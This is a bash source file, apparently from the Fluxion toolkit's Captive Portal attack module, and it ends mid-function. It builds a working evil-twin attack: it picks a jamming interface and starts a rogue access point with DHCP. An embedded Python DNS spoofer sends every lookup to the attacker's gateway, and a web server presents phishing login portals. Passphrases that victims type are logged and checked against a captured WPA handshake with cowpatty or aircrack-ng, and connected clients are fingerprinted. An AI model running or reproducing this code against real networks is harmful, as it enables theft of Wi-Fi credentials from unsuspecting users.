#!/usr/bin/env bash # ============================================================ # # =============== < Captive Portal Parameters > ============== # # ============================================================ # CaptivePortalState="Not Ready" CaptivePortalPassLog="$FLUXIONPath/attacks/Captive Portal/pwdlog" CaptivePortalNetLog="$FLUXIONPath/attacks/Captive Portal/netlog" CaptivePortalAuthenticationMethods=("hash") # "wpa_supplicant") CaptivePortalAuthenticationMethodsInfo=( "(handshake file, ${CGrn}recommended$CClr)" ) # "(Target AP authentication, slow)") # ============= < Virtual Network Configuration > ============ # # To avoid collapsing with an already existing network, # we'll use a somewhat uncommon network and server IP. CaptivePortalGatewayAddress="192.168.254.1" CaptivePortalGatewayNetwork=${CaptivePortalGatewayAddress%.*} # ============================================================ # # ============== < Captive Portal Subroutines > ============== # # ============================================================ # captive_portal_unset_jammer_interface() { CaptivePortalJammerInterfaceOriginal="" if [ ! "$CaptivePortalJammerInterface" ]; then return 1; fi CaptivePortalJammerInterface="" # Check if we're automatically selecting the interface & skip # this one if so to take the user back properly. local interfacesAvailable readarray -t interfacesAvailable < <(attack_targetting_interfaces) if [ ${#interfacesAvailable[@]} -le 1 ]; then return 2; fi } captive_portal_set_jammer_interface() { if [ "$CaptivePortalJammerInterface" ]; then return 0; fi if [ ! "$CaptivePortalJammerInterfaceOriginal" ]; then echo "Running get jammer interface." > $FLUXIONOutputDevice if ! fluxion_get_interface attack_targetting_interfaces \ "$CaptivePortalJammerInterfaceQuery"; then echo "Failed to get jammer interface" > $FLUXIONOutputDevice return 1 fi CaptivePortalJammerInterfaceOriginal=$FluxionInterfaceSelected fi local selectedInterface=$CaptivePortalJammerInterfaceOriginal if ! fluxion_allocate_interface $selectedInterface; then echo "Failed to allocate jammer interface" > $FLUXIONOutputDevice return 2 fi echo "Succeeded get jammer interface." > $FLUXIONOutputDevice CaptivePortalJammerInterface=${FluxionInterfaces[$selectedInterface]} } captive_portal_ap_interfaces() { interface_list_all local interface for interface in "${InterfaceListAll[@]}"; do if [ "$interface" = "lo" ]; then continue; fi echo "$interface" done } captive_portal_unset_ap_interface() { CaptivePortalAccessPointInterfaceOriginal="" if [ ! "$CaptivePortalAccessPointInterface" ]; then return 1; fi if [ "$CaptivePortalAccessPointInterface" = \ "${CaptivePortalJammerInterface}v" ]; then if ! iw dev $CaptivePortalAccessPointInterface del \ &> $FLUXIONOutputDevice; then fluxion_conditional_bail "Unable to remove virtual interface!" exit 1 fi fi CaptivePortalAccessPointInterface="" } captive_portal_set_ap_interface() { if [ "$CaptivePortalAccessPointInterface" ]; then return 0; fi if [ ! "$CaptivePortalAccessPointInterfaceOriginal" ]; then echo "Running get ap interface." > $FLUXIONOutputDevice if ! fluxion_get_interface captive_portal_ap_interfaces \ "$CaptivePortalAccessPointInterfaceQuery"; then echo "Failed to get ap interface" > $FLUXIONOutputDevice return 1 fi CaptivePortalAccessPointInterfaceOriginal=$FluxionInterfaceSelected fi local selectedInterface=$CaptivePortalAccessPointInterfaceOriginal if ! fluxion_allocate_interface $selectedInterface; then echo "Failed to allocate ap interface" > $FLUXIONOutputDevice return 2 fi echo "Succeeded get ap interface." > $FLUXIONOutputDevice CaptivePortalAccessPointInterface=${FluxionInterfaces[$selectedInterface]} # If interfaces are the same, we need an independent virtual interface. if [ "$CaptivePortalAccessPointInterface" = \ "$CaptivePortalJammerInterface" ]; then # TODO: Make fluxion's interface services manage virtual interfaces. # Have fluxion_get_interface return a virutal interface if the primary # interface is in used by something else (virtual reservation?). echo "Virtual interface required, attempting." > $FLUXIONOutputDevice if ! iw dev $CaptivePortalJammerInterface interface \ add ${CaptivePortalJammerInterface}v type monitor \ 2> $FLUXIONOutputDevice; then echo -e "$FLUXIONVLine $CaptivePortalCannotStartInterfaceError" sleep 5 return 2 fi echo "Virtual interface created successfully." > $FLUXIONOutputDevice CaptivePortalAccessPointInterface=${CaptivePortalJammerInterface}v fi } function captive_portal_unset_ap_service() { if [ ! "$CaptivePortalAPService" ]; then return 1; fi CaptivePortalAPService="" # Since we're auto-selecting when on auto, trigger undo-chain. if [ "$FLUXIONAuto" ]; then return 2; fi if ! interface_is_wireless "$CaptivePortalAccessPointInterface"; then return 3; fi } function captive_portal_set_ap_service() { if [ "$CaptivePortalAPService" ]; then if ! type -t ap_service_start; then # AP Service: Load the service's helper routines. source "$FLUXIONLibPath/ap/$CaptivePortalAPService.sh" fi return 0 fi if ! interface_is_wireless "$CaptivePortalAccessPointInterface"; then return 0 fi captive_portal_unset_ap_service if [ "$FLUXIONAuto" ]; then CaptivePortalAPService="hostapd" else fluxion_header echo -e "$FLUXIONVLine $CaptivePortalAPServiceQuery" echo fluxion_target_show local choices=( "$CaptivePortalAPServiceHostapdOption" "$CaptivePortalAPServiceAirbaseOption" "$FLUXIONGeneralBackOption" ) io_query_choice "" choices[@] echo case "$IOQueryChoice" in "$CaptivePortalAPServiceHostapdOption") CaptivePortalAPService="hostapd" ;; "$CaptivePortalAPServiceAirbaseOption") CaptivePortalAPService="airbase-ng" ;; "$FLUXIONGeneralBackOption") return 1 ;; *) fluxion_conditional_bail "Invalid AP service selected!" return 1 ;; esac fi # AP Service: Load the service's helper routines. source "$FLUXIONLibPath/ap/$CaptivePortalAPService.sh" } captive_portal_unset_authenticator() { if [ ! "$CaptivePortalAuthenticatorMode" ]; then return 0; fi case "$CaptivePortalAuthenticatorMode" in "hash") echo "Unset hash is done automatically." > $FLUXIONOutputDevice ;; esac CaptivePortalAuthenticatorMode="" # If we've only got one option, then the user skipped this section # by auto-selecting that single option, so we unset the previous # phase along with this one to properly take the user back. if [ ${#CaptivePortalAuthenticationMethods[@]} -le 1 ]; then return 1 # Trigger undo chain because it was auto-selected. fi } captive_portal_set_authenticator() { if [ "$CaptivePortalAuthenticatorMode" ]; then case "$CaptivePortalAuthenticatorMode" in "hash") if [ "$CaptivePortalHashPath" ]; then echo "Captive Portal authentication mode is already set, skipping!" \ > $FLUXIONOutputDevice return 0 fi ;; esac fi captive_portal_unset_authenticator # If we've got only one choice, auto-select it for the user. if [ \ ${#CaptivePortalAuthenticationMethods[@]} -eq 1 -o \ ${#CaptivePortalAuthenticationMethods[@]} -ge 1 -a \ "$FLUXIONAuto" ]; then CaptivePortalAuthenticatorMode="${CaptivePortalAuthenticationMethods[0]}" echo "Auto-selected auth-method: $CaptivePortalAuthenticatorMode" \ > $FLUXIONOutputDevice else fluxion_header echo -e "$FLUXIONVLine $CaptivePortalVerificationMethodQuery" echo fluxion_target_show local choices=( "${CaptivePortalAuthenticationMethods[@]}" "$FLUXIONGeneralBackOption" ) io_query_format_fields "" "\t$CRed[$CYel%d$CRed]$CClr %b %b\n" \ choices[@] CaptivePortalAuthenticationMethodsInfo[@] echo CaptivePortalAuthenticatorMode="${IOQueryFormatFields[0]}" # If we're going back, reset everything and abort. if [[ \ "$CaptivePortalAuthenticatorMode" == \ "$FLUXIONGeneralBackOption" ]]; then captive_portal_unset_authenticator return -1 fi fi # Process the authentication method selected. local result=1 # Assume failure at first. case "$CaptivePortalAuthenticatorMode" in "hash") # Pass default path if no path is set yet. if [ ! "$CaptivePortalHashPath" ]; then CaptivePortalHashPath="$FLUXIONPath/attacks/Handshake Snooper/handshakes/$FluxionTargetSSIDClean-$FluxionTargetMAC.cap" fi fluxion_hash_get_path \ "$CaptivePortalHashPath" "$FluxionTargetMAC" "$FluxionTargetSSID" result=$? if [ $result -eq 0 ]; then CaptivePortalHashPath="$FluxionHashPath" fi ;; esac # Assure authentication method processing succeeded, abort otherwise. if [ $result -ne 0 ] && [ "$FLUXIONDebug" == "" ]; then echo "Auth-mode error code $result!" > $FLUXIONOutputPath return 1 fi } captive_portal_run_certificate_generator() { xterm -bg "#000000" -fg "#CCCCCC" \ -title "Generating Self-Signed SSL Certificate" -e openssl req \ -subj '/CN=captive.gateway.lan/O=CaptivePortal/OU=Networking/C=US' \ -new -newkey rsa:2048 -days 365 -nodes -x509 \ -keyout "$FLUXIONWorkspacePath/server.pem" \ -out "$FLUXIONWorkspacePath/server.pem" # Details -> https://www.openssl.org/docs/manmaster/apps/openssl.html chmod 400 "$FLUXIONWorkspacePath/server.pem" } captive_portal_unset_certificate() { if [ ! "$CaptivePortalSSL" ]; then return 1; fi # WARNING: The server configuration depends on whether the certificate # file exists and is positioned in the proper location. The check above # could unsynchronize with the certificate file if we're not careful! sandbox_remove_workfile "$FLUXIONWorkspacePath/server.pem" CaptivePortalSSL="" # Since we're auto-selecting when on auto, trigger undo-chain. if [ "$FLUXIONAuto" ]; then return 2; fi } # Create Self-Signed SSL Certificate captive_portal_set_certificate() { if [ \ "$CaptivePortalSSL" = "disabled" -o \ "$CaptivePortalSSL" = "enabled" -a \ -f "$FLUXIONWorkspacePath/server.pem" ]; then echo "Captive Portal SSL mode already set to $CaptivePortalSSL!" \ > $FLUXIONOutputDevice return 0 fi # TODO: This is temporary solution, refactor this. if [ "$CaptivePortalSSL" = "enabled" ]; then local -r restoring=true fi captive_portal_unset_certificate # Check existance of ssl certificate within fluxion with file size > 0 # If user-supplied (fancy) certificate exists, copy it to fluxspace. if [ \ -f "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" -a \ -s "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \ ]; then cp "$FLUXIONPath/attacks/Captive Portal/certificate/server.pem" \ "$FLUXIONWorkspacePath/server.pem" CaptivePortalSSL="enabled" # Enabled if sourcing user certificate echo "Captive Portal certificate was user supplied, skipping query!" \ > $FLUXIONOutputDevice return 0 fi # Check if we're restoring and we need to re-create certificate. if [ "$restoring" ]; then if ! captive_portal_run_certificate_generator; then fluxion_conditional_bail "cert-gen failed!" return 2 fi CaptivePortalSSL="enabled" return 0 fi if [ "$FLUXIONAuto" ]; then CaptivePortalSSL="disabled" else local choices=( "$CaptivePortalCertificateSourceGenerateOption" "$CaptivePortalCertificateSourceRescanOption" "$CaptivePortalCertificateSourceDisabledOption" "$FLUXIONGeneralBackOption" ) io_query_choice "$CaptivePortalCertificateSourceQuery" choices[@] echo case "$IOQueryChoice" in "$CaptivePortalCertificateSourceGenerateOption") # If cert generator fails, gtfo, something broke! if ! captive_portal_run_certificate_generator; then fluxion_conditional_bail "cert-gen failed!" return 2 fi CaptivePortalSSL="enabled" ;; "$CaptivePortalCertificateSourceRescanOption") captive_portal_set_certificate return $? ;; "$CaptivePortalCertificateSourceDisabledOption") CaptivePortalSSL="disabled" ;; "$FLUXIONGeneralBackOption") return 1 ;; *) fluxion_conditional_bail "Unknown cert-gen option!" return 2 ;; esac fi } captive_portal_unset_connectivity() { if [ ! "$CaptivePortalConnectivity" ]; then return 1; fi CaptivePortalConnectivity="" # Since we're auto-selecting when on auto, trigger undo-chain. if [ "$FLUXIONAuto" ]; then return 2; fi } captive_portal_set_connectivity() { if [ "$CaptivePortalConnectivity" ]; then return 0; fi captive_portal_unset_connectivity if [ "$FLUXIONAuto" ]; then CaptivePortalConnectivity="disconnected" else local choices=( "$CaptivePortalConnectivityDisconnectedOption" "$CaptivePortalConnectivityEmulatedOption" "$FLUXIONGeneralBackOption" ) io_query_choice "$CaptivePortalConnectivityQuery" choices[@] case "$IOQueryChoice" in "$CaptivePortalConnectivityDisconnectedOption") CaptivePortalConnectivity="disconnected" ;; "$CaptivePortalConnectivityEmulatedOption") CaptivePortalConnectivity="emulated" ;; "$FLUXIONGeneralBackOption") return 1 ;; *) fluxion_conditional_bail "Unknown connectivity option!" return 2 ;; esac fi } captive_portal_unset_user_interface() { if [ -z "$CaptivePortalUserInterface" ]; then return 1; fi CaptivePortalUserInterface="" } captive_portal_set_user_interface() { local -r attackPath="$FLUXIONPath/attacks/Captive Portal" # Skip setting UI if one is selected and is a custom or a generic portal. if [ "$CaptivePortalUserInterface" != "" ] && [ \ -d "$attackPath/sites/$CaptivePortalUserInterface.portal" -o \ -f "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" ]; then return 0 fi captive_portal_unset_user_interface local sites=() # Attempt adding generic portals only if the directory exists. if [ -d "$FLUXIONPath/attacks/Captive Portal/generic/languages" ]; then # Normalize the names of the generic portals for presentation. for site in "$FLUXIONPath/attacks/Captive Portal/generic/languages/"*.lang; do sites+=("${CaptivePortalGenericInterfaceOption}_$(basename "${site%.lang}")") done fi # Attempt adding custom portals only if the directory exists. if [ -d "$FLUXIONPath/attacks/Captive Portal/sites" ]; then # Retrieve available portal sites and strip the .portal extension. for site in "$FLUXIONPath/attacks/Captive Portal/sites/"*.portal; do sites+=("$(basename "${site%.portal}")") done fi local sitesIdentifier=("${sites[@]/_*/}" "$FLUXIONGeneralBackOption") local sitesLanguage=("${sites[@]/*_/}") format_center_dynamic "$CRed[$CYel%02d$CRed]$CClr %-44b $CBlu%10s$CClr" local queryFieldOptionsFormat=$FormatCenterDynamic fluxion_header echo -e "$FLUXIONVLine $CaptivePortalUIQuery" echo fluxion_target_show "$FluxionTargetSSID" "$FluxionTargetEncryption" \ "$FluxionTargetChannel" "$FluxionTargetMAC" "$FluxionTargetMaker" io_query_format_fields "" "$queryFieldOptionsFormat\n" \ sitesIdentifier[@] sitesLanguage[@] echo local site="${IOQueryFormatFields[0]}" local siteLanguage="${IOQueryFormatFields[1]}" local siteIdentifier="${site}_${siteLanguage}" case "$site" in "$CaptivePortalGenericInterfaceOption") CaptivePortalUserInterface=$siteLanguage # source "$FLUXIONPath/attacks/Captive Portal/generic/languages/$siteLanguage.lang" # captive_portal_generic ;; "$FLUXIONGeneralBackOption") captive_portal_unset_user_interface return 1 ;; *) CaptivePortalUserInterface=$siteIdentifier ;; esac } captive_portal_get_client_IP() { if [ -f "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" ]; then MatchedClientIP=$( cat "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" | \ sed '/^\s*$/d' | tail -n 1 | head -n 1 ) else MatchedClientIP="unknown" fi echo $MatchedClientIP } captive_portal_get_IP_MAC() { if [ -f "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" ] && \ [ "$(captive_portal_get_client_IP)" != "" ] && \ [ -f "$FLUXIONWorkspacePath/clients.txt" ]; then local IP=$(captive_portal_get_client_IP) local MatchedClientMAC=$( cat $FLUXIONWorkspacePath/clients.txt | \ grep $IP | awk '{print $5}' | grep : | head -n 1 | \ tr [:upper:] [:lower:] ) if [ "$(echo $MatchedClientMAC | wc -m)" != "18" ]; then local MatchedClientMAC="xx:xx:xx:xx:xx:xx" fi else local MatchedClientMAC="unknown" fi echo $MatchedClientMAC } captive_portal_get_MAC_brand() { if [ $(captive_portal_get_IP_MAC) != "" ]; then local MACManufacturer=$( macchanger -l | \ grep "$(echo "$(captive_portal_get_IP_MAC)" | cut -d ":" -f -3)" | \ cut -d " " -f 5-) if echo "$MACManufacturer" | grep -q x; then local MACManufacturer="unknown" fi else local MACManufacturer="unknown" fi echo $MACManufacturer } captive_portal_unset_attack() { sandbox_remove_workfile \ "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" sandbox_remove_workfile \ "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" sandbox_remove_workfile "$FLUXIONWorkspacePath/lighttpd.conf" sandbox_remove_workfile "$FLUXIONWorkspacePath/dhcpd.leases" sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal/check.php" sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal" # Only reset the AP if one has been defined. if [ "$CaptivePortalAPService" -a "$(type -t ap_service_reset)" ]; then ap_service_reset fi } # Create different settings required for the script captive_portal_set_attack() { local -r attackPath="$FLUXIONPath/attacks/Captive Portal" # Load and set the captive portal user interface to the workspace. # Check whether it's a custom, generic, or invalid portal. if [ -d "$attackPath/sites/$CaptivePortalUserInterface.portal" ]; then cp -r "$attackPath/sites/$CaptivePortalUserInterface.portal" \ "$FLUXIONWorkspacePath/captive_portal" elif [ -f "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" ]; then source "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" captive_portal_generic else return 1 fi find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \ sed -i -e 's/$APTargetSSID/'"${FluxionTargetSSID//\//\\\/}"'/g; s/$APTargetMAC/'"${FluxionTargetMAC//\//\\\/}"'/g; s/$APTargetChannel/'"${FluxionTargetChannel//\//\\\/}"'/g' {} \; # Add the PHP authenticator scripts, used to verify # password attempts from users using the web interface. local authenticatorFiles=("authenticator.php" "check.php" "update.php") for authenticatorFile in "${authenticatorFiles[@]}"; do cp "$FLUXIONPath/attacks/Captive Portal/lib/$authenticatorFile" \ "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" sed -i -e 's/\$FLUXIONWorkspacePath/'"${FLUXIONWorkspacePath//\//\\\/}"'/g' \ "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" chmod u+x "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" done # Add the files for captive portal internet connectivity checks. cp -r "$FLUXIONPath/attacks/Captive Portal/lib/connectivity responses/" \ "$FLUXIONWorkspacePath/captive_portal/connectivity_responses" # AP Service: Prepare service for an attack. if [ "$CaptivePortalAPService" ]; then ap_service_prep \ "$CaptivePortalAccessPointInterface" \ "$CaptivePortalGatewayAddress" \ "$FluxionTargetSSID" \ "$FluxionTargetRogueMAC" \ "$FluxionTargetChannel" CaptivePortalAccessInterface=$APServiceAccessInterface fi # Generate the dhcpd configuration file, which is # used to provide DHCP service to rogue AP clients. echo "\ authoritative; default-lease-time 600; max-lease-time 7200; subnet $CaptivePortalGatewayNetwork.0 netmask 255.255.255.0 { option broadcast-address $CaptivePortalGatewayNetwork.255; option routers $CaptivePortalGatewayAddress; option subnet-mask 255.255.255.0; option domain-name-servers $CaptivePortalGatewayAddress; range $CaptivePortalGatewayNetwork.100 $CaptivePortalGatewayNetwork.254; }\ " >"$FLUXIONWorkspacePath/dhcpd.conf" #create an empty leases file touch "$FLUXIONWorkspacePath/dhcpd.leases" # Generate configuration for a lighttpd web-server. echo "\ server.document-root = \"$FLUXIONWorkspacePath/captive_portal/\" server.modules = ( \"mod_access\", \"mod_alias\", \"mod_accesslog\", \"mod_fastcgi\", \"mod_redirect\", \"mod_rewrite\" ) accesslog.filename = \"$FLUXIONWorkspacePath/lighttpd.log\" fastcgi.server = ( \".php\" => ( ( \"bin-path\" => \"/usr/bin/php-cgi\", \"socket\" => \"/tmp/fluxspace/php.socket\" ) ) ) server.port = 80 server.pid-file = \"/var/run/lighttpd.pid\" # server.username = \"www\" # server.groupname = \"www\" mimetype.assign = ( \".html\" => \"text/html\", \".htm\" => \"text/html\", \".txt\" => \"text/plain\", \".jpg\" => \"image/jpeg\", \".png\" => \"image/png\", \".css\" => \"text/css\" ) server.error-handler-404 = \"/\" static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) index-file.names = ( \"index.htm\", \"index.html\", \"index.php\" ) " >"$FLUXIONWorkspacePath/lighttpd.conf" # Configure lighttpd's SSL only if we've got a certificate and its key. if [ -f "$FLUXIONWorkspacePath/server.pem" -a -s "$FLUXIONWorkspacePath/server.pem" ]; then echo "\ \$SERVER[\"socket\"] == \":443\" { ssl.engine = \"enable\" ssl.pemfile = \"$FLUXIONWorkspacePath/server.pem\" } " >>"$FLUXIONWorkspacePath/lighttpd.conf" fi if [ "$CaptivePortalConnectivity" = "emulated" ]; then echo "\ # The following will emulate Apple's and Google's internet connectivity checks. # This should help with no-internet-connection warnings in some devices. \$HTTP[\"host\"] == \"captive.apple.com\" { # Respond with Apple's captive response. server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Apple/\" } # Respond with Google's captive response on certain domains. # Domains: www.google.com, clients[0-9].google.com, connectivitycheck.gstatic.com, connectivitycheck.android.com, android.clients.google.com, alt[0-9]-mtalk.google.com, mtalk.google.com \$HTTP[\"host\"] =~ \"((www|(android\.)?clients[0-9]*|(alt[0-9]*-)?mtalk)\.google|connectivitycheck\.(android|gstatic))\.com\" { server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\" url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" ) } " >>"$FLUXIONWorkspacePath/lighttpd.conf" else echo "\ # Redirect all traffic to the captive portal when not emulating a connection. \$HTTP[\"host\"] != \"captive.gateway.lan\" { url.redirect-code = 302 url.redirect = ( \"^/(.*)\" => \"http://captive.gateway.lan/\", ) } " >>"$FLUXIONWorkspacePath/lighttpd.conf" fi # Create a DNS service with python, forwarding all traffic to gateway. echo "\ import sys, traceback, socket # NOTICE: This DNS server works with python 2 and python 3 class DNSQuery: def __init__(self, data): self.data = data self.domain = '' queryType = (ord(data[2]) >> 3) & 15 # Only handle basic requests. if queryType != 0: print('Ignoring Query: Non-spoofed type.') return domainStart = 13 # Skip length byte and start at domain. domainLength = ord(data[domainStart - 1]) # Evaluate length byte. while domainLength != 0: self.domain += data[domainStart : domainStart + domainLength] + '.' domainStart += domainLength + 1 # Skip the length byte & start at domain. domainLength = ord(data[domainStart - 1]) # Evaluate length byte. def response(self, ipv4): if not self.domain: return '' packet = '' packet += self.data[ :2] + '\x81\x80' packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' packet += self.data[12:] packet += '\xc0\x0c' packet += '\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Convert string IPv4 quads to binary values (bytes). packet += str.join('', map(lambda s: chr(int(s)), ipv4.split('.'))) return packet if __name__ == '__main__': targetIPv4 = '$CaptivePortalGatewayAddress' print('Mini DNS Spoofer:: dom.query. 60 IN A %s' % targetIPv4) link = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) link.bind(('',53)) try: while True: clientData, clientIPv4 = link.recvfrom(1024) queryData = clientData if sys.version_info < (3, 0) else clientData.decode('unicode_escape') query = DNSQuery(queryData) response = query.response(targetIPv4) if sys.version_info > (3, 0): # Someone that knows more about python and how it does byte-handling, # please fix the following shitfest and make it a bit more elegant. # Do what? A raw conversion of the \"response\" string to bytes. responseHex = '' for xx in response: responseHex += \"%x%x\" % ((ord(xx) >> 4) & 0b1111, ord(xx) & 0b1111) response = bytearray.fromhex(responseHex) link.sendto(response, clientIPv4) print('Request: %s -> %s' % (query.domain, targetIPv4)) except KeyboardInterrupt: print('INTERRUPT: Stopping.') link.close() except Exception as error: print('EXCEPTION: Stopping!') print(error) print(traceback.format_exc()) link.close() " >"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" local -r targetSSIDCleanNormalized=${FluxionTargetSSIDClean//"/\\"} # Attack arbiter script echo "\ #!/usr/bin/env bash signal_stop_attack() { kill -s SIGABRT $$ # Signal STOP ATTACK handle_abort_authenticator } handle_abort_authenticator() { AuthenticatorState=\"aborted\" } trap signal_stop_attack SIGINT SIGHUP trap handle_abort_authenticator SIGABRT echo > \"$FLUXIONWorkspacePath/candidate.txt\" echo -n \"0\"> \"$FLUXIONWorkspacePath/hit.txt\" # Assure we've got a directory to store net logs into. if [ ! -d \"$CaptivePortalNetLog\" ]; then mkdir -p \"$CaptivePortalNetLog\" fi # Assure we've got a directory to store pwd logs into. if [ ! -d \"$CaptivePortalPassLog\" ]; then mkdir -p \"$CaptivePortalPassLog\" fi # Make console cursor invisible, cnorm to revert. tput civis clear m=0 h=0 s=0 i=0 AuthenticatorState=\"running\" startTime=\$(date +%s) while [ \$AuthenticatorState = \"running\" ]; do let s=\$(date +%s)-\$startTime d=\`expr \$s / 86400\` s=\`expr \$s % 86400\` h=\`expr \$s / 3600\` s=\`expr \$s % 3600\` m=\`expr \$s / 60\` s=\`expr \$s % 60\` if [ \"\$s\" -le 9 ]; then is=\"0\" else is= fi if [ \"\$m\" -le 9 ]; then im=\"0\" else im= fi if [ \"\$h\" -le 9 ]; then ih=\"0\" else ih= fi if [ -f \"$FLUXIONWorkspacePath/pwdattempt.txt\" -a -s \"$FLUXIONWorkspacePath/pwdattempt.txt\" ]; then # Save any new password attempt. cat \"$FLUXIONWorkspacePath/pwdattempt.txt\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log\" # Clear logged password attempt. echo -n > \"$FLUXIONWorkspacePath/pwdattempt.txt\" fi if [ -f \"$FLUXIONWorkspacePath/ip_hits\" -a -s \"$FLUXIONWorkspacePath/ip_hits.txt\" ]; then cat \"$FLUXIONWorkspacePath/ip_hits\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\" echo \" \" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\" echo -n > \"$FLUXIONWorkspacePath/ip_hits\" fi " >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" if [ $CaptivePortalAuthenticatorMode = "hash" ]; then # 05/26/19: Default to cowpatty for verification since aircrack-ng appears to have a bug. if which cowpatty &> /dev/null; then echo " if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then if cowpatty -f \"$FLUXIONWorkspacePath/candidate.txt\" -r \"$CaptivePortalHashPath\" -s \"$FluxionTargetSSID\" &> /dev/null; then echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" sleep 1 break else echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" fi fi" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" else echo " if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then # Check if we've got the correct password by looking for anything other than \"Passphrase not in\" or \"KEY NOT FOUND\". if ! aircrack-ng -b $FluxionTargetMAC -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$CaptivePortalHashPath\" | egrep -qi \"Passphrase not in|KEY NOT FOUND\"; then echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" sleep 1 break else echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" fi fi" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" fi fi local -r staticSSID=$(printf "%q" "$FluxionTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g") echo " readarray -t DHCPClients < <(nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork.100-110 2>&1 | grep Host) echo echo -e \" ACCESS POINT:\" printf \" SSID ...........: $CWht%s$CClr\\n\" \"$staticSSID\" echo -e \" MAC ............: $CYel$FluxionTargetMAC$CClr\" echo -e \" Channel ........: $CWht$FluxionTargetChannel$CClr\" echo -e \" Vendor .........: $CGrn${FluxionTargetMaker:-UNKNOWN}$CClr\" echo -e \" Runtime ........: $CBlu\$ih\$h:\$im\$m:\$is\$s$CClr\" echo -e \" Attempts .......: $CRed\$(cat $FLUXIONWorkspacePath/hit.txt)$CClr\" echo -e \" Clients ........: $CBlu\$(cat $FLUXIONWorkspacePath/clients.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)$CClr\" echo echo -e \" CLIENTS ONLINE:\" x=0 for client in \"\${DHCPClients[@]}\"; do x=\$((\$x+1)) ClientIP=\$(echo \$client| cut -d \" \" -f2) ClientMAC=\$(nmap -PR -sn -n \$ClientIP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) if [ \"\$(echo \$ClientMAC| wc -m)\" != \"18\" ]; then ClientMAC=\"xx:xx:xx:xx:xx:xx\" fi ClientMID=\$(macchanger -l | grep \"\$(echo \"\$ClientMAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) if echo \$ClientMAC| grep -q x; then ClientMID=\"unknown\" fi ClientHostname=\$(grep \$ClientIP \"$FLUXIONWorkspacePath/clients.txt\" | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') echo -e \" $CGrn \$x) $CRed\$ClientIP $CYel\$ClientMAC $CClr($CBlu\$ClientMID$CClr) $CGrn \$ClientHostname$CClr\" done echo -ne \"\033[K\033[u\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" if [ $CaptivePortalAuthenticatorMode = "hash" ]; then echo " sleep 1" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" fi echo " done if [ \$AuthenticatorState = \"aborted\" ]; then exit 1; fi clear echo \"1\" > \"$FLUXIONWorkspacePath/status.txt\" # sleep 7 sleep 3 signal_stop_attack echo \" FLUXION $FLUXIONVersion.$FLUXIONRevision SSID: \\\"$staticSSID\\\" BSSID: $FluxionTargetMAC ($FluxionTargetMaker) Channel: $FluxionTargetChannel Security: $FluxionTargetEncryption Time: \$ih\$h:\$im\$m:\$is\$s Password: \$(cat $FLUXIONWorkspacePath/candidate.txt) Mac: $(captive_portal_get_IP_MAC) ($(captive_portal_get_MAC_brand)) IP: $(captive_portal_get_client_IP) \" >\"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" if [ $CaptivePortalAuthenticatorMode = "hash" ]; then # echo " # aircrack-ng -a 2 -b $FluxionTargetMAC -0 -s \"$CaptivePortalHashPath\" -w \"$FLUXIONWorkspacePath/candidate.txt\" && echo && echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log"$CClr"\"\ #" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" echo " echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log"$CClr"\"\ " >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" fi chmod +x "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" } # Generate the contents for a generic web interface captive_portal_generic() { if [ ! -d "$FLUXIONWorkspacePath/captive_portal" ]; then 